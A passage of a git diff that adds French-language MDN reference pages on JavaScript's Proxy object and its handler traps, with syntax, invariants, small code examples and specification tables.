+    // un alias pour products.length
+    if (prop === 'nombre') {
+      return obj.length;
+    }
+
+    let résultat, types = {};
+
+    for (let produit of obj) {
+      if (produit.nom === prop) {
+        résultat = produit;
+      }
+      if (types[produit.type]) {
+        types[produit.type].push(produit);
+      } else {
+        types[produit.type] = [produit];
+      }
+    }
+
+    // Obtenir un produit grâce à un nom
+    if (résultat) {
+      return résultat;
+    }
+
+    // Obtenir un produit par type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Obtenir les types de produits
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(produits[0]); // { nom: 'Firefox', type: 'navigateur' }
+console.log(produits['Firefox']); // { nom: 'Firefox', type: 'navigateur' }
+console.log(produits['Chrome']); // undefined
+console.log(produits.navigateur); // [{ nom: 'Firefox', type: 'navigateur' }, { nom: 'SeaMonkey', type: 'navigateur' }]
+console.log(produits.types); // ['navigateur', 'client mail']
+console.log(produits.nombre); // 3
+
+ +

Un exemple avec toutes les trappes

+ +

Pour illustrer l'ensemble des trappes, on tente de « proxifier » un objet non natif : l'objet global docCookies créé grâce à cet exemple.

+ +
/*
+  var docCookies = ... définir l'objet "docCookies" grâce à
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  "get": function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  "set": function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  "deleteProperty": function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  "enumerate": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "ownKeys": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "has": function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  "defineProperty": function (oTarget, sKey, oDesc) {
+    if (oDesc && "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  "getOwnPropertyDescriptor": function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      "value": vValue,
+      "writable": true,
+      "enumerable": true,
+      "configurable": false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.mon_cookie1 = "Première valeur");
+console.log(docCookies.getItem("mon_cookie1"));
+
+docCookies.setItem("mon_cookie1", "Valeur modifiée");
+console.log(docCookies.mon_cookie1);
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2016')}}
{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2017')}}
{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy", 2)}}

+ +

Voir aussi

+ + + +

Notes de licence

+ +

Certains composants de cette page (texte, exemples) ont été copiés ou adaptés du Wiki ECMAScript dont le contenu est sous licence CC 2.0 BY-NC-SA.

diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.html new file mode 100644 index 0000000000..21f1d44817 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -0,0 +1,118 @@ +--- +title: handler.apply() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/apply +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +--- +
{{JSRef}}
+ +

La méthode handler.apply() représente une trappe pour un appel de fonctions.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  apply: function(cible, thisArg, listeArguments) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode apply. Ici, this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
thisArg
+
L'argument {{jsxref("Opérateurs/L_opérateur_this","this")}} pour cet appel.
+
listeArguments
+
La liste d'arguments pour l'appel.
+
+ +

Valeur de retour

+ +

La méthode apply peut renvoyer n'importe quelle valeur.

+ +

Description

+ +

La méthode handler.apply est une trappe pour l'appel à une fonction.

+ +

Interceptions

+ +

Cette trappe intercepte les opérations suivantes :

+ +
    +
  • proxy(...args)
    • +
  • {{jsxref("Function.prototype.apply()")}} et {{jsxref("Function.prototype.call()")}}
    • +
  • {{jsxref("Reflect.apply()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception TypeError :

+ +
    +
  • la cible doit pouvoir être « appelable ». Autrement dit, il doit s'agir d'une fonction.
    • +
+ +

Exemples

+ +

Dans l'exemple ci-dessous, on piège un appel de fonction.

+ +
var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log("called: " + argumentsList.join(", "));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.apply")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Function.prototype.apply")}}
    • +
  • {{jsxref("Function.prototype.call")}}
    • +
  • {{jsxref("Reflect.apply()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.html new file mode 100644 index 0000000000..90eb5f0105 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.html @@ -0,0 +1,137 @@ +--- +title: handler.construct() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/construct +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +--- +
{{JSRef}}
+ +

La méthode handler.construct() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Afin que l'opération new puisse être valide sur le proxy correspondant, la cible utilisée doit avoir une méthode interne [[Construct]] (autrement dit, l'instruction new cible doit être valide).

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  construct: function(cible, listeArguments, newTarget) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode construct.  this est ici lié au gestionnaire (handler).

+ +
+
cible
+
L'objet cible.
+
listeArguments
+
La liste des arguments passés au constructeur.
+
newTarget
+
Le constructeur originellement appelé.
+
+ +

Valeur de retour

+ +

La méthode construct doit renvoyer un objet.

+ +

Description

+ +

La méthode handler.construct() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

+ +

Interceptions

+ +

Ce trappe intercepte les opérations suivantes :

+ +
    +
  • new proxy(...args)
    • +
  • {{jsxref("Reflect.construct()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Le résultat doit être un Object.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on piège l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList) {
+    console.log("called: " + argumentsList.join(", "));
+    return { value: argumentsList[0] * 10 };
+  }
+});
+
+console.log(new p(1).value); // "appel sur : 1"
+                             // 10
+
+ +

Dans cette version, on ne respecte pas la contrainte d'invariance :

+ +
var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList) {
+    return 1;
+  }
+});
+
+new p(); // Une exception TypeError est levée
+
+ +

Dans le code qui suit, le proxy n'est pas correctement initialisé. La cible du proxy doit être un constructeur valide qui puisse être utilisé avec new.

+ +
var p = new Proxy({}, {
+  construct: function(target, argumentsList, newTarget){
+    return {};
+  }
+});
+
+new p(); // TypeError: p is not a constructor
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.construct")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}
    • +
  • {{jsxref("Reflect.construct()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html new file mode 100644 index 0000000000..ea23d3c8e3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html @@ -0,0 +1,144 @@ +--- +title: handler.defineProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/defineProperty +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +--- +
{{JSRef}}
+ +

La méthode handler.defineProperty() est une trappe pour {{jsxref("Object.defineProperty()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-defineproperty.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  defineProperty: function(cible, propriété, descripteur) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode defineProperty. this est ici lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
propriété
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut modifier la description.
+
descripteur
+
Le descripteur de la propriété qui est à modifier ou à définir.
+
+ +

Valeur de retour

+ +

La méthode defineProperty() doit renvoyer un booléen qui indique si la propriété a correctement été définie sur la cible.

+ +

Description

+ +

La méthode handler.defineProperty() est une trappe pour {{jsxref("Object.defineProperty()")}}.

+ +

Interceptions

+ +

Cette trappe intercepte les opérations suivantes :

+ +
    +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Reflect.defineProperty()")}}
    • +
+ +

Invariants

+ +

Si les contraintes d'invariances suivantes ne sont pas respectées, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Une propriété ne peut pas être ajoutée si l'objet cible n'est pas extensible.
    • +
  • Une propriété ne peut pas être ajoutée ou modifiée pour être rendue non-configurable si elle n'existe pas comme une propriété propre non-configurable de l'objet cible.
    • +
  • Une propriété ne peut pas être non-configurable s'il existe une propriété correspondante de l'objet cible qui est configurable.
    • +
  • Si une propriété correspondante existe pour l'objet cible Object.defineProperty(cible, propriété, descripteur) ne lèvera pas d'exception.
    • +
  • En mode stricte, si le gestionnaire defineProperty renvoie une valeur fausse (dans un contexte booléen), cela entraînera une exception {{jsxref("TypeError")}}.
    • +
+ +

Exemples

+ +

Dans le code suivant, on piège l'appel à {{jsxref("Object.defineProperty()")}}.

+ +
var p = new Proxy({}, {
+  defineProperty: function(target, prop, descriptor) {
+    console.log("appelé avec : " + prop);
+  }
+});
+
+var desc = { configurable: true, enumerable: true, value: 10 };
+Object.defineProperty(p, "a", desc); // "appelé avec : a"
+
+ +

Lorsqu'on appelle {{jsxref("Object.defineProperty()")}} ou {{jsxref("Reflect.defineProperty()")}}, le descripteur passé à la trappe defineProperty doit respecter une contrainte : seules les propriétés suivants sont utilisables, les propriétés non-standards seront ignorées :

+ +
    +
  • enumerable
    • +
  • configurable
    • +
  • writable
    • +
  • value
    • +
  • get
    • +
  • set
    • +
+ +
var p = new Proxy({}, {
+  defineProperty(target, prop, descriptor) {
+    console.log(descriptor);
+    return Reflect.defineProperty(target, prop, descriptor);
+  }
+});
+
+Object.defineProperty(p, "name, {
+  value: "proxy",
+  type: "custom"
+});
+// { value: "proxy" }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.defineProperty")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.defineProperty()")}}
    • +
  • {{jsxref("Reflect.defineProperty()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html new file mode 100644 index 0000000000..15828b99b3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html @@ -0,0 +1,113 @@ +--- +title: handler.deleteProperty() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/deleteProperty +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +--- +
{{JSRef}}
+ +

La méthode handler.deleteProperty() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-deleteproperty.html","taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  deleteProperty: function(cible, propriété) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode deleteProperty. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
propriété
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété à supprimer.
+
+ +

Valeur de retour

+ +

La méthode deleteProperty() doit renvoyer un booléen qui indique si oui ou non la propriété a été supprimée.

+ +

Description

+ +

La méthode handler.deleteProperty() est une trappe permettant d'intercepter les opérations de l'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

+ +

Interceptions

+ +

Cette trappe peut intercepter les opérations suivantes :

+ +
    +
  • La suppression d'une propriété : delete proxy[toto] et delete proxy.toto
    • +
  • {{jsxref("Reflect.deleteProperty()")}}
    • +
+ +

Invariants

+ +

Si les invarians suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • Une propriété ne peut pas être supprimée s'il existe une propriété correspondante sur l'objet cible qui est une propriété propre et non-configurable.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on intercepte les opérations de {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}.

+ +
var p = new Proxy({}, {
+  deleteProperty: function(cible, prop) {
+    console.log("appelée sur : " + prop);
+    return true;
+  }
+});
+
+delete p.a; // "appelée sur : a"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.deleteProperty")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • L'opérateur {{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
    • +
  • {{jsxref("Reflect.deleteProperty()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.html new file mode 100644 index 0000000000..0173263d99 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -0,0 +1,136 @@ +--- +title: handler.get() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/get +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +--- +
{{JSRef}}
+ +

La méthode handler.get() est une trappe pour intercepter l'accès à la valeur d'une propriété.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-get.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  get: function(cible, propriété, récepteur) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode get. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
propriété
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété qu'on souhaite obtenir.
+
récepteur
+
Le proxy ou un objet qui hérite du proxy.
+
+ +

Valeur de retour

+ +

La méthode get peut renvoyer n'importe quelle valeur.

+ +

Description

+ +

La méthode handler.get est une trappe pour intercepter l'accès à une propriété.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter les opérations suivantes :

+ +
    +
  • l'accès à une propriété : proxy[toto] et proxy.truc
    • +
  • L'accès aux propriétés héritées : Object.create(proxy)[toto]
    • +
  • {{jsxref("Reflect.get()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • La valeur renvoyée pour la propriété doit être la même que la valeur de la propriété correspondante de l'objet cible si celle-ci est non-configurable et non accessible en lecture.
    • +
  • La valeur renvoyée doit valoir undefined si la propriété correspondante de l'objet cible est une propriété d'accesseur non-configurable dont l'attribut [[Get]] vaut undefined.
    • +
+ +

Exemples

+ +

Dans l'exemple suivant, on intercepte les accès aux propriétés :

+ +
var p = new Proxy({}, {
+  get: function(cible, propriété, récepteur) {
+    console.log("appelée : " + propriété);
+    return 10;
+  }
+});
+
+console.log(p.a); // "appelée : a"
+                  // 10
+
+ +

Le code suivant ne respecte pas l'invariant :

+ +
var obj = {};
+Object.defineProperty(obj, "a", {
+  configurable: false,
+  enumerable: false,
+  value: 10,
+  writable: false
+});
+
+var p = new Proxy(obj, {
+  get: function(cible, propriété) {
+    return 20;
+  }
+});
+
+p.a; // exception TypeError levée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
+ +

Compatiblité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.get")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Reflect.get()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html new file mode 100644 index 0000000000..457d906b81 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html @@ -0,0 +1,132 @@ +--- +title: handler.getOwnPropertyDescriptor() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getOwnPropertyDescriptor +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +--- +
{{JSRef}}
+ +

La méthode handler.getOwnPropertyDescriptor() est une trappe pour intercepter {{jsxref("Object.getOwnPropertyDescriptor()")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-getownpropertydescriptor.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode getOwnPropertyDescriptor. this est ici lié au gestionnaire (handler).

+ +
+
cible
+
L'objet cible
+
prop
+
Le nom de la propriété dont on souhaite obtenir le descripteur.
+
+ +

Valeur de retour

+ +

La méthode getOwnPropertyDescriptor doit renvoyer un objet ou undefined.

+ +

Description

+ +

La méthode handler.getOwnPropertyDescriptor() est une trappe pour un proxy afin d'intercepter les opérations effectuées avec {{jsxref("Object.getOwnPropertyDescriptor()")}}.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter :

+ +
    +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • +
+ +

Invariants

+ +

Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception {{jsxref("TypeError")}} :

+ +
    +
  • getOwnPropertyDescriptor doit renvoyer un objet ou undefined.
    • +
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et non-configurable.
    • +
  • Une propriété ne peut pas être indiquée comme non-existante s'il existe une propriété correspondante de l'objet cible qui est une propriété propre et que l'objet cible n'est pas extensible.
    • +
  • Une propriété ne peut pas être indiquée comme existante si elle n'existe pas de façon correspondante sur l'objet cible et que l'objet cible n'est pas extensible.
    • +
  • Une propriété ne peut pas être indiquée comme non-configurable si la propriété correspondante n'existe pas pour l'objet cible ou si elle existe comme un propriété propre configurable.
    • +
  • Le résultat de Object.getOwnPropertyDescriptor(cible) peut être appliqué à l'objet cible avec Object.defineProperty sans que cela lève une exception.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on intercepte {{jsxref("Object.getOwnPropertyDescriptor()")}}.

+ +
var p = new Proxy({ a: 20 }, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+    console.log("appelée : " + prop);
+    return { configurable: true, enumerable: true, value: 10 };
+  }
+});
+
+console.log(Object.getOwnPropertyDescriptor(p, "a").value); // "appelée : a"
+                                                            // 10
+
+ +

L'exemple suivant ne respecte pas un invariant :

+ +
var obj = { a: 10 };
+Object.preventExtensions(obj);
+var p = new Proxy(obj, {
+  getOwnPropertyDescriptor: function(cible, prop) {
+    return undefined;
+  }
+});
+
+Object.getOwnPropertyDescriptor(p, "a"); // Une exception TypeError est renvoyée
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.getOwnPropertyDescriptor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
    • +
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html new file mode 100644 index 0000000000..1b5f73d3db --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html @@ -0,0 +1,154 @@ +--- +title: handler.getPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/getPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +--- +
{{JSRef}}
+ +

La méthode handler.getPrototypeOf() représente une trappe pour la méthode interne [[GetPrototypeOf]].

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(obj, {
+  getPrototypeOf(cible) {
+  ...
+  }
+});
+
+ +

Paramètres

+ +

Le paramètre suivant est passé à la méthode getPrototypeOf. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
+ +

Valeur de retour

+ +

La méthode getPrototypeOf doit renvoyer un objet ou null.

+ +

Description

+ +

Interceptions

+ +

Cette trappe permet d'intercepter les opérations suivantes :

+ +
    +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • +
  • {{jsxref("Object/proto", "__proto__")}}
    • +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • +
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • +
+ +

Invariants

+ +

Si les invariants suivant ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :

+ +
    +
  • getPrototypeOf doit renvoyer un objet ou null.
    • +
  • Si la cible n'est pas extensible, Object.getPrototypeOf(proxy) doit renvoyer la même valeur que Object.getPrototypeOf(cible).
    • +
+ +

Exemples

+ +

Utilisation simple

+ +
var obj = {};
+var proto = {};
+var gestionnaire = {
+    getPrototypeOf(cible) {
+        console.log(cible === obj);   // true
+        console.log(this === gestionnaire); // true
+        return proto;
+    }
+};
+
+var p = new Proxy(obj, gestionnaire);
+console.log(Object.getPrototypeOf(p) === proto);    // true
+
+ +

Cinq façons de déclencher la trappe getPrototypeOf

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return Array.prototype;
+    }
+});
+console.log(
+    Object.getPrototypeOf(p) === Array.prototype,  // true
+    Reflect.getPrototypeOf(p) === Array.prototype, // true
+    p.__proto__ === Array.prototype,               // true
+    Array.prototype.isPrototypeOf(p),              // true
+    p instanceof Array                             // true
+);
+
+ +

Deux types d'exceptions

+ +
var obj = {};
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return "toto";
+    }
+});
+Object.getPrototypeOf(p); // TypeError : "toto" n'est pas un objet ou null
+
+var obj = Object.preventExtensions({});
+var p = new Proxy(obj, {
+    getPrototypeOf(cible) {
+        return {};
+    }
+});
+Object.getPrototypeOf(p); // TypeError : on attend la même valeur pour le prototype
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Proxy")}}
    • +
  • {{jsxref("Proxy.handler", "handler")}}
    • +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Reflect.getPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.html b/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.html new file mode 100644 index 0000000000..faded452ad --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/has/index.html @@ -0,0 +1,130 @@ +--- +title: handler.has() +slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/has +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Proxy + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +--- +
{{JSRef}}
+ +

La méthode handler.has() est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}
+ + + +

Syntaxe

+ +
var p = new Proxy(cible, {
+  has: function(cible, prop) {
+  }
+});
+
+ +

Paramètres

+ +

Les paramètres suivants sont passés à la méthode has. this est lié au gestionnaire.

+ +
+
cible
+
L'objet cible.
+
prop
+
Le nom ou le symbole ({{jsxref("Symbol")}}) de la propriété dont on veut connaître l'existence.
+
+ +

Valeur de retour

+ +

La méthode has doit renvoyer une valeur booléenne.

+ +

Description

+ +

La méthode handler.has est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_in", "in")}}.

+ +

Interceptions

+ +

Cette trappe permet d'intercepter les opérations suivantes :

+ +
    +
  • L'accès à une propriété : toto in proxy
    • +
